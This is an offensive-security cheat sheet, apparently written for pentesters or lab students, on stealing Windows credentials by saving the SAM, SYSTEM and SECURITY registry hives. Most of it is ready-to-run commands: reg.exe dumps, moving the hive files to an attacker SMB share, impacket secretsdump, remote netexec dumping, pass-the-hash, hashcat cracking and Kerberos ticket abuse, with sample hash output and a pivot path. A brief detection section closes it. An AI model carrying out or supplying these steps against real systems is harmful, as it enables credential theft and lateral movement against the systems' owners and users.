Three registry hives, together, give you every local account hash and the cached domain credentials of anyone who’s logged on. They’re locked while the system is running — you dump them via the registry API (which creates a point-in-time copy) and parse offline.
What’s in Each Hive
| Hive | Contents |
|---|---|
SAM (HKLM\SAM) | Local account NT (and legacy LM) hashes |
SYSTEM (HKLM\SYSTEM) | Boot key — needed to decrypt SAM and LSA secrets |
SECURITY (HKLM\SECURITY) | DCC2 cached domain creds, LSA secrets (service passwords in cleartext), DPAPI backup key |
You need local Administrator rights to save all three.
Dump On-Box
rem Classic — reg.exe (Admin)
reg.exe save hklm\sam C:\Windows\Temp\sam.save
reg.exe save hklm\system C:\Windows\Temp\system.save
reg.exe save hklm\security C:\Windows\Temp\security.save
rem Exfil over SMB to an attacker share
move C:\Windows\Temp\sam.save \\10.10.14.5\share
move C:\Windows\Temp\system.save \\10.10.14.5\share
move C:\Windows\Temp\security.save \\10.10.14.5\shareStand up an SMB server on the attacker:
impacket-smbserver share /tmp/loot -smb2supportParse Offline
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCALExpect output like:
[*] Target system bootKey: 0x...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435...:30B3783CE2ABF1AF70F77D0660CF3453:::
Guest:501:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
bob:1001:aad3b435...:5c04d86d25c...
[*] Dumping cached domain logon information (domain/username:hash)
DOMAIN/alice:$DCC2$10240#alice#dadcf5db62a89a3...
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\HOST01$:aes256-cts-hmac-sha1-96:abc...
[*] DefaultPassword
(Cleartext of auto-logon user if set!)
Remote Dump — No Binary on Disk
NetExec / impacket talk to the Remote Registry service directly:
# SAM + LSA + cached domain creds in one go (local account)
netexec smb 10.10.10.10 --local-auth -u Admin -p 'Pass!' --sam
netexec smb 10.10.10.10 --local-auth -u Admin -p 'Pass!' --lsa
# Using a hash instead of a password
netexec smb 10.10.10.10 --local-auth -u Admin -H <NThash> --sam
# Impacket remote
impacket-secretsdump Admin:'Pass!'@10.10.10.10
impacket-secretsdump -hashes :<NThash> Admin@10.10.10.10--local-auth tells NetExec/Impacket this is a local account (not domain). Drop it when auth’ing with a domain user.
What You Actually Got
SAM — Local Hashes
Format: user:rid:LMhash:NThash:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:30B3783CE2ABF1AF70F77D0660CF3453:::
Usable for:
- Pass-the-Hash against SMB/WinRM/WMI (the local Admin hash is often reused across the environment)
- Offline cracking —
hashcat -m 1000 ntlm.txt rockyou.txt
RID 500 = built-in Administrator — bypasses the UAC token filter even for PtH. RIDs 1001+ (non-RID-500 admins) need LocalAccountTokenFilterPolicy=1 to PtH remotely.
SECURITY — DCC2 Cached Domain Creds
Format: $DCC2$10240#user#hash
$DCC2$10240#alice#dadcf5db62a89a395f1d5f1dfa35f9cb
- Hashcat mode 2100
- Cannot be used for Pass-the-Hash — must be cracked
- Stored per-user for the last 10 logins (default
CachedLogonsCount) - Useful on domain-joined workstations whose users are not DAs but might re-use passwords elsewhere
hashcat -m 2100 dcc2.txt rockyou.txtLSA Secrets — Service Account Passwords in Cleartext
The LSA stores:
$MACHINE.ACC— the computer account password (lets you request Kerberos tickets asHOST$)DefaultPassword— if Windows auto-logon is configured, the cleartext user passwordDPAPI_SYSTEM— the DPAPI system masterkey (decrypts SYSTEM-protected secrets)- Named service accounts registered with the LSA — cleartext passwords for anything running as a domain service account
# After secretsdump — the $MACHINE.ACC hash is useful:
impacket-getST -spn cifs/dc01.inlanefreight.local -impersonate Administrator \
-dc-ip 10.10.10.10 'inlanefreight.local/HOST01$'Pivot Path
Shell on target
→ whoami /priv (confirm Admin)
→ reg.exe save SAM/SYSTEM/SECURITY
→ exfil to attacker SMB share
→ secretsdump LOCAL
→ Try PtH with Administrator hash across the subnet
→ Crack the rest, including DCC2 for domain user leak
→ Use $MACHINE.ACC for Kerberos abuse
Detection Notes
reg saveon SAM/SYSTEM/SECURITY is a well-known IOC (Sysmon Event 1 +Image=reg.exe+CommandLinecontainingsave hklm\\(sam|system|security))- Remote Registry service access from an unusual host — SMB session to
IPC$immediately followed by Registry pipe traffic impacket-secretsdumpdefault service name isWindowsScheduleServiceAccount— change with-service-name
